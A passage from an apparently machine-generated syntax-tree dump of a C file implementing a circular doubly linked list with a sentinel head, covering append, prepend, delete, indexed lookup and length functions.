(field_identifier) "data" (=) "=" (cast_expression) "(void *) initial_length" (() "(" (type_descriptor) "void *" (primitive_type) "void" (abstract_pointer_declarator) "*" (*) "*" ()) ")" (identifier) "initial_length" (;) ";" (return_statement) "return new_list;" (return) "return" (identifier) "new_list" (;) ";" (}) "}" (comment) "/* \n * Appending a new element to the list.\n * Returns DL_SUCCESS_SIGNAL on successful appending,\n * DL_ERROR_SIGNAL otherwise.\n */" (function_definition) "int append_element(linked_list *list, void *element) {\n if (list == NULL || element == NULL) {\n DL_INVALID_ARGS_MSG;\n return DL_ERROR_SIGNAL;\n }\n\n linked_list *new_list_element;\n\n new_list_element = malloc( sizeof(linked_list) );\n \n if (new_list_element == NULL) {\n DL_OUT_OF_MEM_MSG;\n return DL_ERROR_SIGNAL;\n }\n\n new_list_element->data = element;\n\n *((int*) list->data) += 1;\n\n // list->previous is the (old) last element in the list\n\n new_list_element->previous = list->previous;\n new_list_element->next = list;\n\n list->previous->next = new_list_element;\n list->previous = new_list_element;\n\n return DL_SUCCESS_SIGNAL;\n}" (primitive_type) "int" (function_declarator) "append_element(linked_list *list, void *element)" (identifier) "append_element" (parameter_list) "(linked_list *list, void *element)" (() "(" (parameter_declaration) "linked_list *list" (type_identifier) "linked_list" (pointer_declarator) "*list" (*) "*" (identifier) "list" (,) "," (parameter_declaration) "void *element" (primitive_type) "void" (pointer_declarator) "*element" (*) "*" (identifier) "element" ()) ")" (compound_statement) "{\n if (list == NULL || element == NULL) {\n DL_INVALID_ARGS_MSG;\n return DL_ERROR_SIGNAL;\n }\n\n linked_list *new_list_element;\n\n new_list_element = malloc( sizeof(linked_list) );\n \n if (new_list_element == NULL) {\n DL_OUT_OF_MEM_MSG;\n return DL_ERROR_SIGNAL;\n }\n\n new_list_element->data = element;\n\n *((int*) list->data) += 1;\n\n // list->previous is the (old) last element in the list\n\n new_list_element->previous = list->previous;\n new_list_element->next = list;\n\n list->previous->next = new_list_element;\n list->previous = new_list_element;\n\n return DL_SUCCESS_SIGNAL;\n}" ({) "{" (if_statement) "if (list == NULL || element == NULL) {\n DL_INVALID_ARGS_MSG;\n return DL_ERROR_SIGNAL;\n }" (if) "if" (parenthesized_expression) "(list == NULL || element == NULL)" (() "(" (binary_expression) "list == NULL || element == NULL" (binary_expression) "list == NULL" (identifier) "list" (==) "==" (null) "NULL" (NULL) "NULL" (||) "||" (binary_expression) "element == NULL" (identifier) "element" (==) "==" (null) "NULL" (NULL) "NULL" ()) ")" (compound_statement) "{\n DL_INVALID_ARGS_MSG;\n return DL_ERROR_SIGNAL;\n }" ({) "{" (expression_statement) "DL_INVALID_ARGS_MSG;" (identifier) "DL_INVALID_ARGS_MSG" (;) ";" (return_statement) "return DL_ERROR_SIGNAL;" (return) "return" (identifier) "DL_ERROR_SIGNAL" (;) ";" (}) "}" (declaration) "linked_list *new_list_element;" (type_identifier) "linked_list" (pointer_declarator) "*new_list_element" (*) "*" (identifier) "new_list_element" (;) ";" (expression_statement) "new_list_element = malloc( sizeof(linked_list) );" (assignment_expression) "new_list_element = malloc( sizeof(linked_list) )" (identifier) "new_list_element" (=) "=" (call_expression) "malloc( sizeof(linked_list) )" (identifier) "malloc" (argument_list) "( sizeof(linked_list) )" (() "(" (sizeof_expression) "sizeof(linked_list)" (sizeof) "sizeof" (parenthesized_expression) "(linked_list)" (() "(" (identifier) "linked_list" ()) ")" ()) ")" (;) ";" (if_statement) "if (new_list_element == NULL) {\n DL_OUT_OF_MEM_MSG;\n return DL_ERROR_SIGNAL;\n }" (if) "if" (parenthesized_expression) "(new_list_element == NULL)" (() "(" (binary_expression) "new_list_element == NULL" (identifier) "new_list_element" (==) "==" (null) "NULL" (NULL) "NULL" ()) ")" (compound_statement) "{\n DL_OUT_OF_MEM_MSG;\n return DL_ERROR_SIGNAL;\n }" ({) "{" (expression_statement) "DL_OUT_OF_MEM_MSG;" (identifier) "DL_OUT_OF_MEM_MSG" (;) ";" (return_statement) "return DL_ERROR_SIGNAL;" (return) "return" (identifier) "DL_ERROR_SIGNAL" (;) ";" (}) "}" (expression_statement) "new_list_element->data = element;" (assignment_expression) "new_list_element->data = element" (field_expression) "new_list_element->data" (identifier) "new_list_element" (->) "->" (field_identifier) "data" (=) "=" (identifier) "element" (;) ";" (expression_statement) "*((int*) list->data) += 1;" (assignment_expression) "*((int*) list->data) += 1" (pointer_expression) "*((int*) list->data)" (*) "*" (parenthesized_expression) "((int*) list->data)" (() "(" (cast_expression) "(int*) list->data" (() "(" (type_descriptor) "int*" (primitive_type) "int" (abstract_pointer_declarator) "*" (*) "*" ()) ")" (field_expression) "list->data" (identifier) "list" (->) "->" (field_identifier) "data" ()) ")" (+=) "+=" (number_literal) "1" (;) ";" (comment) "// list->previous is the (old) last element in the list" (expression_statement) "new_list_element->previous = list->previous;" (assignment_expression) "new_list_element->previous = list->previous" (field_expression) "new_list_element->previous" (identifier) "new_list_element" (->) "->" (field_identifier) "previous" (=) "=" (field_expression) "list->previous" (identifier) "list" (->) "->" (field_identifier) "previous" (;) ";" (expression_statement) "new_list_element->next = list;" (assignment_expression) "new_list_element->next = list" (field_expression) "new_list_element->next" (identifier) "new_list_element" (->) "->" (field_identifier) "next" (=) "=" (identifier) "list" (;) ";" (expression_statement) "list->previous->next = new_list_element;" (assignment_expression) "list->previous->next = new_list_element" (field_expression) "list->previous->next" (field_expression) "list->previous" (identifier) "list" (->) "->" (field_identifier) "previous" (->) "->" (field_identifier) "next" (=) "=" (identifier) "new_list_element" (;) ";" (expression_statement) "list->previous = new_list_element;" (assignment_expression) "list->previous = new_list_element" (field_expression) "list->previous" (identifier) "list" (->) "->" (field_identifier) "previous" (=) "=" (identifier) "new_list_element" (;) ";" (return_statement) "return DL_SUCCESS_SIGNAL;" (return) "return" (identifier) "DL_SUCCESS_SIGNAL" (;) ";" (}) "}" (comment) "/*\n * Prepends a new element to the list. \n * Returns DL_SUCCESS_SIGNAL on successful pre-pending,\n * DL_ERROR_SIGNAL otherwise.\n */" (function_definition) "int prepend_element(linked_list *list, void *element) {\n if(list == NULL || element == NULL){\n DL_INVALID_ARGS_MSG;\n return DL_ERROR_SIGNAL;\n }\n\n linked_list *new_list_element;\n\n new_list_element = malloc(sizeof(linked_list));\n \n if(new_list_element == NULL){\n DL_OUT_OF_MEM_MSG;\n return DL_ERROR_SIGNAL;\n }\n\n new_list_element->data = element;\n\n *((int*) list->data) += 1;\n\n // list->next is the old first element in the list\n\n new_list_element->next = list->next;\n new_list_element->previous = list;\n\n list->next->previous = new_list_element;\n list->next = new_list_element;\n\n return DL_SUCCESS_SIGNAL;\n}" (primitive_type) "int" (function_declarator) "prepend_element(linked_list *list, void *element)" (identifier) "prepend_element" (parameter_list) "(linked_list *list, void *element)" (() "(" (parameter_declaration) "linked_list *list" (type_identifier) "linked_list" (pointer_declarator) "*list" (*) "*" (identifier) "list" (,) "," (parameter_declaration) "void *element" (primitive_type) "void" (pointer_declarator) "*element" (*) "*" (identifier) "element" ()) ")" (compound_statement) "{\n if(list == NULL || element == NULL){\n DL_INVALID_ARGS_MSG;\n return DL_ERROR_SIGNAL;\n }\n\n linked_list *new_list_element;\n\n new_list_element = malloc(sizeof(linked_list));\n \n if(new_list_element == NULL){\n DL_OUT_OF_MEM_MSG;\n return DL_ERROR_SIGNAL;\n }\n\n new_list_element->data = element;\n\n *((int*) list->data) += 1;\n\n // list->next is the old first element in the list\n\n new_list_element->next = list->next;\n new_list_element->previous = list;\n\n list->next->previous = new_list_element;\n list->next = new_list_element;\n\n return DL_SUCCESS_SIGNAL;\n}" ({) "{" (if_statement) "if(list == NULL || element == NULL){\n DL_INVALID_ARGS_MSG;\n return DL_ERROR_SIGNAL;\n }" (if) "if" (parenthesized_expression) "(list == NULL || element == NULL)" (() "(" (binary_expression) "list == NULL || element == NULL" (binary_expression) "list == NULL" (identifier) "list" (==) "==" (null) "NULL" (NULL) "NULL" (||) "||" (binary_expression) "element == NULL" (identifier) "element" (==) "==" (null) "NULL" (NULL) "NULL" ()) ")" (compound_statement) "{\n DL_INVALID_ARGS_MSG;\n return DL_ERROR_SIGNAL;\n }" ({) "{" (expression_statement) "DL_INVALID_ARGS_MSG;" (identifier) "DL_INVALID_ARGS_MSG" (;) ";" (return_statement) "return DL_ERROR_SIGNAL;" (return) "return" (identifier) "DL_ERROR_SIGNAL" (;) ";" (}) "}" (declaration) "linked_list *new_list_element;" (type_identifier) "linked_list" (pointer_declarator) "*new_list_element" (*) "*" (identifier) "new_list_element" (;) ";" (expression_statement) "new_list_element = malloc(sizeof(linked_list));" (assignment_expression) "new_list_element = malloc(sizeof(linked_list))" (identifier) "new_list_element" (=) "=" (call_expression) "malloc(sizeof(linked_list))" (identifier) "malloc" (argument_list) "(sizeof(linked_list))" (() "(" (sizeof_expression) "sizeof(linked_list)" (sizeof) "sizeof" (parenthesized_expression) "(linked_list)" (() "(" (identifier) "linked_list" ()) ")" ()) ")" (;) ";" (if_statement) "if(new_list_element == NULL){\n DL_OUT_OF_MEM_MSG;\n return DL_ERROR_SIGNAL;\n }" (if) "if" (parenthesized_expression) "(new_list_element == NULL)" (() "(" (binary_expression) "new_list_element == NULL" (identifier) "new_list_element" (==) "==" (null) "NULL" (NULL) "NULL" ()) ")" (compound_statement) "{\n DL_OUT_OF_MEM_MSG;\n return DL_ERROR_SIGNAL;\n }" ({) "{" (expression_statement) "DL_OUT_OF_MEM_MSG;" (identifier) "DL_OUT_OF_MEM_MSG" (;) ";" (return_statement) "return DL_ERROR_SIGNAL;" (return) "return" (identifier) "DL_ERROR_SIGNAL" (;) ";" (}) "}" (expression_statement) "new_list_element->data = element;" (assignment_expression) "new_list_element->data = element" (field_expression) "new_list_element->data" (identifier) "new_list_element" (->) "->" (field_identifier) "data" (=) "=" (identifier) "element" (;) ";" (expression_statement) "*((int*) list->data) += 1;" (assignment_expression) "*((int*) list->data) += 1" (pointer_expression) "*((int*) list->data)" (*) "*" (parenthesized_expression) "((int*) list->data)" (() "(" (cast_expression) "(int*) list->data" (() "(" (type_descriptor) "int*" (primitive_type) "int" (abstract_pointer_declarator) "*" (*) "*" ()) ")" (field_expression) "list->data" (identifier) "list" (->) "->" (field_identifier) "data" ()) ")" (+=) "+=" (number_literal) "1" (;) ";" (comment) "// list->next is the old first element in the list" (expression_statement) "new_list_element->next = list->next;" (assignment_expression) "new_list_element->next = list->next" (field_expression) "new_list_element->next" (identifier) "new_list_element" (->) "->" (field_identifier) "next" (=) "=" (field_expression) "list->next" (identifier) "list" (->) "->" (field_identifier) "next" (;) ";" (expression_statement) "new_list_element->previous = list;" (assignment_expression) "new_list_element->previous = list" (field_expression) "new_list_element->previous" (identifier) "new_list_element" (->) "->" (field_identifier) "previous" (=) "=" (identifier) "list" (;) ";" (expression_statement) "list->next->previous = new_list_element;" (assignment_expression) "list->next->previous = new_list_element" (field_expression) "list->next->previous" (field_expression) "list->next" (identifier) "list" (->) "->" (field_identifier) "next" (->) "->" (field_identifier) "previous" (=) "=" (identifier) "new_list_element" (;) ";" (expression_statement) "list->next = new_list_element;" (assignment_expression) "list->next = new_list_element" (field_expression) "list->next" (identifier) "list" (->) "->" (field_identifier) "next" (=) "=" (identifier) "new_list_element" (;) ";" (return_statement) "return DL_SUCCESS_SIGNAL;" (return) "return" (identifier) "DL_SUCCESS_SIGNAL" (;) ";" (}) "}" (comment) "/*\n * Returns DL_SUCCESS_SIGNAL if element was removed, returns\n * DL_ERROR_SIGNAL otherwise\n */" (function_definition) "int delete_element(linked_list *list, void *element) {\n if (list == NULL || element == NULL) {\n DL_INVALID_ARGS_MSG;\n return DL_ERROR_SIGNAL;\n }\n\n linked_list *iterator;\n\n iterator = list->next;\n\n while (iterator != list) {\n if (iterator->data == element) {\n iterator->previous->next = iterator->next;\n iterator->next->previous = iterator->previous;\n free(iterator);\n *((int*) list->data) -= 1;\n return DL_SUCCESS_SIGNAL;\n }\n iterator = iterator->next;\n }\n return DL_ERROR_SIGNAL;\n}" (primitive_type) "int" (function_declarator) "delete_element(linked_list *list, void *element)" (identifier) "delete_element" (parameter_list) "(linked_list *list, void *element)" (() "(" (parameter_declaration) "linked_list *list" (type_identifier) "linked_list" (pointer_declarator) "*list" (*) "*" (identifier) "list" (,) "," (parameter_declaration) "void *element" (primitive_type) "void" (pointer_declarator) "*element" (*) "*" (identifier) "element" ()) ")" (compound_statement) "{\n if (list == NULL || element == NULL) {\n DL_INVALID_ARGS_MSG;\n return DL_ERROR_SIGNAL;\n }\n\n linked_list *iterator;\n\n iterator = list->next;\n\n while (iterator != list) {\n if (iterator->data == element) {\n iterator->previous->next = iterator->next;\n iterator->next->previous = iterator->previous;\n free(iterator);\n *((int*) list->data) -= 1;\n return DL_SUCCESS_SIGNAL;\n }\n iterator = iterator->next;\n }\n return DL_ERROR_SIGNAL;\n}" ({) "{" (if_statement) "if (list == NULL || element == NULL) {\n DL_INVALID_ARGS_MSG;\n return DL_ERROR_SIGNAL;\n }" (if) "if" (parenthesized_expression) "(list == NULL || element == NULL)" (() "(" (binary_expression) "list == NULL || element == NULL" (binary_expression) "list == NULL" (identifier) "list" (==) "==" (null) "NULL" (NULL) "NULL" (||) "||" (binary_expression) "element == NULL" (identifier) "element" (==) "==" (null) "NULL" (NULL) "NULL" ()) ")" (compound_statement) "{\n DL_INVALID_ARGS_MSG;\n return DL_ERROR_SIGNAL;\n }" ({) "{" (expression_statement) "DL_INVALID_ARGS_MSG;" (identifier) "DL_INVALID_ARGS_MSG" (;) ";" (return_statement) "return DL_ERROR_SIGNAL;" (return) "return" (identifier) "DL_ERROR_SIGNAL" (;) ";" (}) "}" (declaration) "linked_list *iterator;" (type_identifier) "linked_list" (pointer_declarator) "*iterator" (*) "*" (identifier) "iterator" (;) ";" (expression_statement) "iterator = list->next;" (assignment_expression) "iterator = list->next" (identifier) "iterator" (=) "=" (field_expression) "list->next" (identifier) "list" (->) "->" (field_identifier) "next" (;) ";" (while_statement) "while (iterator != list) {\n if (iterator->data == element) {\n iterator->previous->next = iterator->next;\n iterator->next->previous = iterator->previous;\n free(iterator);\n *((int*) list->data) -= 1;\n return DL_SUCCESS_SIGNAL;\n }\n iterator = iterator->next;\n }" (while) "while" (parenthesized_expression) "(iterator != list)" (() "(" (binary_expression) "iterator != list" (identifier) "iterator" (!=) "!=" (identifier) "list" ()) ")" (compound_statement) "{\n if (iterator->data == element) {\n iterator->previous->next = iterator->next;\n iterator->next->previous = iterator->previous;\n free(iterator);\n *((int*) list->data) -= 1;\n return DL_SUCCESS_SIGNAL;\n }\n iterator = iterator->next;\n }" ({) "{" (if_statement) "if (iterator->data == element) {\n iterator->previous->next = iterator->next;\n iterator->next->previous = iterator->previous;\n free(iterator);\n *((int*) list->data) -= 1;\n return DL_SUCCESS_SIGNAL;\n }" (if) "if" (parenthesized_expression) "(iterator->data == element)" (() "(" (binary_expression) "iterator->data == element" (field_expression) "iterator->data" (identifier) "iterator" (->) "->" (field_identifier) "data" (==) "==" (identifier) "element" ()) ")" (compound_statement) "{\n iterator->previous->next = iterator->next;\n iterator->next->previous = iterator->previous;\n free(iterator);\n *((int*) list->data) -= 1;\n return DL_SUCCESS_SIGNAL;\n }" ({) "{" (expression_statement) "iterator->previous->next = iterator->next;" (assignment_expression) "iterator->previous->next = iterator->next" (field_expression) "iterator->previous->next" (field_expression) "iterator->previous" (identifier) "iterator" (->) "->" (field_identifier) "previous" (->) "->" (field_identifier) "next" (=) "=" (field_expression) "iterator->next" (identifier) "iterator" (->) "->" (field_identifier) "next" (;) ";" (expression_statement) "iterator->next->previous = iterator->previous;" (assignment_expression) "iterator->next->previous = iterator->previous" (field_expression) "iterator->next->previous" (field_expression) "iterator->next" (identifier) "iterator" (->) "->" (field_identifier) "next" (->) "->" (field_identifier) "previous" (=) "=" (field_expression) "iterator->previous" (identifier) "iterator" (->) "->" (field_identifier) "previous" (;) ";" (expression_statement) "free(iterator);" (call_expression) "free(iterator)" (identifier) "free" (argument_list) "(iterator)" (() "(" (identifier) "iterator" ()) ")" (;) ";" (expression_statement) "*((int*) list->data) -= 1;" (assignment_expression) "*((int*) list->data) -= 1" (pointer_expression) "*((int*) list->data)" (*) "*" (parenthesized_expression) "((int*) list->data)" (() "(" (cast_expression) "(int*) list->data" (() "(" (type_descriptor) "int*" (primitive_type) "int" (abstract_pointer_declarator) "*" (*) "*" ()) ")" (field_expression) "list->data" (identifier) "list" (->) "->" (field_identifier) "data" ()) ")" (-=) "-=" (number_literal) "1" (;) ";" (return_statement) "return DL_SUCCESS_SIGNAL;" (return) "return" (identifier) "DL_SUCCESS_SIGNAL" (;) ";" (}) "}" (expression_statement) "iterator = iterator->next;" (assignment_expression) "iterator = iterator->next" (identifier) "iterator" (=) "=" (field_expression) "iterator->next" (identifier) "iterator" (->) "->" (field_identifier) "next" (;) ";" (}) "}" (return_statement) "return DL_ERROR_SIGNAL;" (return) "return" (identifier) "DL_ERROR_SIGNAL" (;) ";" (}) "}" (comment) "/* \n * Retrieves the first element in the list, or NULL if no first element is\n * found\n */" (function_definition) "void *get_first_element(linked_list *list) {\n if (list == NULL) {\n DL_INVALID_ARGS_MSG;\n return NULL; \n } else if (list->next == list) {\n DL_OUT_OF_BOUND_MSG;\n return NULL;\n }\n return list->next->data;\n}" (primitive_type) "void" (pointer_declarator) "*get_first_element(linked_list *list)" (*) "*" (function_declarator) "get_first_element(linked_list *list)" (identifier) "get_first_element" (parameter_list) "(linked_list *list)" (() "(" (parameter_declaration) "linked_list *list" (type_identifier) "linked_list" (pointer_declarator) "*list" (*) "*" (identifier) "list" ()) ")" (compound_statement) "{\n if (list == NULL) {\n DL_INVALID_ARGS_MSG;\n return NULL; \n } else if (list->next == list) {\n DL_OUT_OF_BOUND_MSG;\n return NULL;\n }\n return list->next->data;\n}" ({) "{" (if_statement) "if (list == NULL) {\n DL_INVALID_ARGS_MSG;\n return NULL; \n } else if (list->next == list) {\n DL_OUT_OF_BOUND_MSG;\n return NULL;\n }" (if) "if" (parenthesized_expression) "(list == NULL)" (() "(" (binary_expression) "list == NULL" (identifier) "list" (==) "==" (null) "NULL" (NULL) "NULL" ()) ")" (compound_statement) "{\n DL_INVALID_ARGS_MSG;\n return NULL; \n }" ({) "{" (expression_statement) "DL_INVALID_ARGS_MSG;" (identifier) "DL_INVALID_ARGS_MSG" (;) ";" (return_statement) "return NULL;" (return) "return" (null) "NULL" (NULL) "NULL" (;) ";" (}) "}" (else_clause) "else if (list->next == list) {\n DL_OUT_OF_BOUND_MSG;\n return NULL;\n }" (else) "else" (if_statement) "if (list->next == list) {\n DL_OUT_OF_BOUND_MSG;\n return NULL;\n }" (if) "if" (parenthesized_expression) "(list->next == list)" (() "(" (binary_expression) "list->next == list" (field_expression) "list->next" (identifier) "list" (->) "->" (field_identifier) "next" (==) "==" (identifier) "list" ()) ")" (compound_statement) "{\n DL_OUT_OF_BOUND_MSG;\n return NULL;\n }" ({) "{" (expression_statement) "DL_OUT_OF_BOUND_MSG;" (identifier) "DL_OUT_OF_BOUND_MSG" (;) ";" (return_statement) "return NULL;" (return) "return" (null) "NULL" (NULL) "NULL" (;) ";" (}) "}" (return_statement) "return list->next->data;" (return) "return" (field_expression) "list->next->data" (field_expression) "list->next" (identifier) "list" (->) "->" (field_identifier) "next" (->) "->" (field_identifier) "data" (;) ";" (}) "}" (comment) "/*\n * Retrieves the last element in the list, or NULL if no last element is found\n */" (function_definition) "void *get_last_element(linked_list *list) {\n if (list == NULL) {\n DL_INVALID_ARGS_MSG;\n return NULL; \n } else if (list->previous == list) {\n DL_OUT_OF_BOUND_MSG;\n return NULL;\n }\n return list->previous->data;\n}" (primitive_type) "void" (pointer_declarator) "*get_last_element(linked_list *list)" (*) "*" (function_declarator) "get_last_element(linked_list *list)" (identifier) "get_last_element" (parameter_list) "(linked_list *list)" (() "(" (parameter_declaration) "linked_list *list" (type_identifier) "linked_list" (pointer_declarator) "*list" (*) "*" (identifier) "list" ()) ")" (compound_statement) "{\n if (list == NULL) {\n DL_INVALID_ARGS_MSG;\n return NULL; \n } else if (list->previous == list) {\n DL_OUT_OF_BOUND_MSG;\n return NULL;\n }\n return list->previous->data;\n}" ({) "{" (if_statement) "if (list == NULL) {\n DL_INVALID_ARGS_MSG;\n return NULL; \n } else if (list->previous == list) {\n DL_OUT_OF_BOUND_MSG;\n return NULL;\n }" (if) "if" (parenthesized_expression) "(list == NULL)" (() "(" (binary_expression) "list == NULL" (identifier) "list" (==) "==" (null) "NULL" (NULL) "NULL" ()) ")" (compound_statement) "{\n DL_INVALID_ARGS_MSG;\n return NULL; \n }" ({) "{" (expression_statement) "DL_INVALID_ARGS_MSG;" (identifier) "DL_INVALID_ARGS_MSG" (;) ";" (return_statement) "return NULL;" (return) "return" (null) "NULL" (NULL) "NULL" (;) ";" (}) "}" (else_clause) "else if (list->previous == list) {\n DL_OUT_OF_BOUND_MSG;\n return NULL;\n }" (else) "else" (if_statement) "if (list->previous == list) {\n DL_OUT_OF_BOUND_MSG;\n return NULL;\n }" (if) "if" (parenthesized_expression) "(list->previous == list)" (() "(" (binary_expression) "list->previous == list" (field_expression) "list->previous" (identifier) "list" (->) "->" (field_identifier) "previous" (==) "==" (identifier) "list" ()) ")" (compound_statement) "{\n DL_OUT_OF_BOUND_MSG;\n return NULL;\n }" ({) "{" (expression_statement) "DL_OUT_OF_BOUND_MSG;" (identifier) "DL_OUT_OF_BOUND_MSG" (;) ";" (return_statement) "return NULL;" (return) "return" (null) "NULL" (NULL) "NULL" (;) ";" (}) "}" (return_statement) "return list->previous->data;" (return) "return" (field_expression) "list->previous->data" (field_expression) "list->previous" (identifier) "list" (->) "->" (field_identifier) "previous" (->) "->" (field_identifier) "data" (;) ";" (}) "}" (comment) "/*\n * Retrieves the k'th element in the list, or NULL and an error message if\n * index is out of bounce \n */" (function_definition) "void *get_element(linked_list *list, int k) {\n if (list == NULL) {\n DL_INVALID_ARGS_MSG;\n return NULL; \n }\n\n linked_list *iterator;\n int i;\n\n if ( k >= 0 && k < get_length(list) ) {\n iterator = list->next;\n\n for (i = 0; i < k; ++i) {\n iterator = iterator->next;\n }\n\n return iterator->data;\n }\n\n DL_OUT_OF_BOUND_MSG;\n return NULL;\n}" (primitive_type) "void" (pointer_declarator) "*get_element(linked_list *list, int k)" (*) "*" (function_declarator) "get_element(linked_list *list, int k)" (identifier) "get_element" (parameter_list) "(linked_list *list, int k)" (() "(" (parameter_declaration) "linked_list *list" (type_identifier) "linked_list" (pointer_declarator) "*list" (*) "*" (identifier) "list" (,) "," (parameter_declaration) "int k" (primitive_type) "int" (identifier) "k" ()) ")" (compound_statement) "{\n if (list == NULL) {\n DL_INVALID_ARGS_MSG;\n return NULL; \n }\n\n linked_list *iterator;\n int i;\n\n if ( k >= 0 && k < get_length(list) ) {\n iterator = list->next;\n\n for (i = 0; i < k; ++i) {\n iterator = iterator->next;\n }\n\n return iterator->data;\n }\n\n DL_OUT_OF_BOUND_MSG;\n return NULL;\n}" ({) "{" (if_statement) "if (list == NULL) {\n DL_INVALID_ARGS_MSG;\n return NULL; \n }" (if) "if" (parenthesized_expression) "(list == NULL)" (() "(" (binary_expression) "list == NULL" (identifier) "list" (==) "==" (null) "NULL" (NULL) "NULL" ()) ")" (compound_statement) "{\n DL_INVALID_ARGS_MSG;\n return NULL; \n }" ({) "{" (expression_statement) "DL_INVALID_ARGS_MSG;" (identifier) "DL_INVALID_ARGS_MSG" (;) ";" (return_statement) "return NULL;" (return) "return" (null) "NULL" (NULL) "NULL" (;) ";" (}) "}" (declaration) "linked_list *iterator;" (type_identifier) "linked_list" (pointer_declarator) "*iterator" (*) "*" (identifier) "iterator" (;) ";" (declaration) "int i;" (primitive_type) "int" (identifier) "i" (;) ";" (if_statement) "if ( k >= 0 && k < get_length(list) ) {\n iterator = list->next;\n\n for (i = 0; i < k; ++i) {\n iterator = iterator->next;\n }\n\n return iterator->data;\n }" (if) "if" (parenthesized_expression) "( k >= 0 && k < get_length(list) )" (() "(" (binary_expression) "k >= 0 && k < get_length(list)" (binary_expression) "k >= 0" (identifier) "k" (>=) ">=" (number_literal) "0" (&&) "&&" (binary_expression) "k < get_length(list)" (identifier) "k" (<) "<" (call_expression) "get_length(list)" (identifier) "get_length" (argument_list) "(list)" (() "(" (identifier) "list" ()) ")" ()) ")" (compound_statement) "{\n iterator = list->next;\n\n for (i = 0; i < k; ++i) {\n iterator = iterator->next;\n }\n\n return iterator->data;\n }" ({) "{" (expression_statement) "iterator = list->next;" (assignment_expression) "iterator = list->next" (identifier) "iterator" (=) "=" (field_expression) "list->next" (identifier) "list" (->) "->" (field_identifier) "next" (;) ";" (for_statement) "for (i = 0; i < k; ++i) {\n iterator = iterator->next;\n }" (for) "for" (() "(" (assignment_expression) "i = 0" (identifier) "i" (=) "=" (number_literal) "0" (;) ";" (binary_expression) "i < k" (identifier) "i" (<) "<" (identifier) "k" (;) ";" (update_expression) "++i" (++) "++" (identifier) "i" ()) ")" (compound_statement) "{\n iterator = iterator->next;\n }" ({) "{" (expression_statement) "iterator = iterator->next;" (assignment_expression) "iterator = iterator->next" (identifier) "iterator" (=) "=" (field_expression) "iterator->next" (identifier) "iterator" (->) "->" (field_identifier) "next" (;) ";" (}) "}" (return_statement) "return iterator->data;" (return) "return" (field_expression) "iterator->data" (identifier) "iterator" (->) "->" (field_identifier) "data" (;) ";" (}) "}" (expression_statement) "DL_OUT_OF_BOUND_MSG;" (identifier) "DL_OUT_OF_BOUND_MSG" (;) ";" (return_statement) "return NULL;" (return) "return" (null) "NULL" (NULL) "NULL" (;) ";" (}) "}" (comment) "/*\n * Gets the index of the element,\n * returns -1 if not found\n */" (function_definition) "int get_index_of_element(linked_list *list, void *data) {\n if (list == NULL || data == NULL) {\n DL_INVALID_ARGS_MSG;\n return DL_ERROR_SIGNAL;\n }\n int i;\n linked_list *iterator;\n iterator = list->next;\n\n for (i = 0; list != iterator; i++) {\n if (data == iterator->data) {\n return i;\n }\n iterator = iterator->next;\n }\n\n return DL_ERROR_SIGNAL;\n}" (primitive_type) "int" (function_declarator) "get_index_of_element(linked_list *list, void *data)" (identifier) "get_index_of_element" (parameter_list) "(linked_list *list, void *data)" (() "(" (parameter_declaration) "linked_list *list" (type_identifier) "linked_list" (pointer_declarator) "*list" (*) "*" (identifier) "list" (,) "," (parameter_declaration) "void *data" (primitive_type) "void" (pointer_declarator) "*data" (*) "*" (identifier) "data" ()) ")" (compound_statement) "{\n if (list == NULL || data == NULL) {\n DL_INVALID_ARGS_MSG;\n return DL_ERROR_SIGNAL;\n }\n int i;\n linked_list *iterator;\n iterator = list->next;\n\n for (i = 0; list != iterator; i++) {\n if (data == iterator->data) {\n return i;\n }\n iterator = iterator->next;\n }\n\n return DL_ERROR_SIGNAL;\n}" ({) "{" (if_statement) "if (list == NULL || data == NULL) {\n DL_INVALID_ARGS_MSG;\n return DL_ERROR_SIGNAL;\n }" (if) "if" (parenthesized_expression) "(list == NULL || data == NULL)" (() "(" (binary_expression) "list == NULL || data == NULL" (binary_expression) "list == NULL" (identifier) "list" (==) "==" (null) "NULL" (NULL) "NULL" (||) "||" (binary_expression) "data == NULL" (identifier) "data" (==) "==" (null) "NULL" (NULL) "NULL" ()) ")" (compound_statement) "{\n DL_INVALID_ARGS_MSG;\n return DL_ERROR_SIGNAL;\n }" ({) "{" (expression_statement) "DL_INVALID_ARGS_MSG;" (identifier) "DL_INVALID_ARGS_MSG" (;) ";" (return_statement) "return DL_ERROR_SIGNAL;" (return) "return" (identifier) "DL_ERROR_SIGNAL" (;) ";" (}) "}" (declaration) "int i;" (primitive_type) "int" (identifier) "i" (;) ";" (declaration) "linked_list *iterator;" (type_identifier) "linked_list" (pointer_declarator) "*iterator" (*) "*" (identifier) "iterator" (;) ";" (expression_statement) "iterator = list->next;" (assignment_expression) "iterator = list->next" (identifier) "iterator" (=) "=" (field_expression) "list->next" (identifier) "list" (->) "->" (field_identifier) "next" (;) ";" (for_statement) "for (i = 0; list != iterator; i++) {\n if (data == iterator->data) {\n return i;\n }\n iterator = iterator->next;\n }" (for) "for" (() "(" (assignment_expression) "i = 0" (identifier) "i" (=) "=" (number_literal) "0" (;) ";" (binary_expression) "list != iterator" (identifier) "list" (!=) "!=" (identifier) "iterator" (;) ";" (update_expression) "i++" (identifier) "i" (++) "++" ()) ")" (compound_statement) "{\n if (data == iterator->data) {\n return i;\n }\n iterator = iterator->next;\n }" ({) "{" (if_statement) "if (data == iterator->data) {\n return i;\n }" (if) "if" (parenthesized_expression) "(data == iterator->data)" (() "(" (binary_expression) "data == iterator->data" (identifier) "data" (==) "==" (field_expression) "iterator->data" (identifier) "iterator" (->) "->" (field_identifier) "data" ()) ")" (compound_statement) "{\n return i;\n }" ({) "{" (return_statement) "return i;" (return) "return" (identifier) "i" (;) ";" (}) "}" (expression_statement) "iterator = iterator->next;" (assignment_expression) "iterator = iterator->next" (identifier) "iterator" (=) "=" (field_expression) "iterator->next" (identifier) "iterator" (->) "->" (field_identifier) "next" (;) ";" (}) "}" (return_statement) "return DL_ERROR_SIGNAL;" (return) "return" (identifier) "DL_ERROR_SIGNAL" (;) ";" (}) "}" (comment) "/*\n * Gets a count of the elements in the linked list or DL_ERROR_SIGNAL if error\n */" (function_definition) "int get_length(linked_list *list) {\n if (list == NULL) {\n DL_INVALID_ARGS_MSG;\n return DL_ERROR_SIGNAL;\n }\n\n/* linked_list *iterator;\n int counter;\n\n counter = 0;\n iterator = list->next;\n\n while (iterator != list) {\n counter++;\n iterator = iterator->next;\n }\n\n return counter; */\n\n return *((int*) list->data);\n}" (primitive_type) "int" (function_declarator) "get_length(linked_list *list)" (identifier) "get_length" (parameter_list) "(linked_list *list)" (() "(" (parameter_declaration) "linked_list 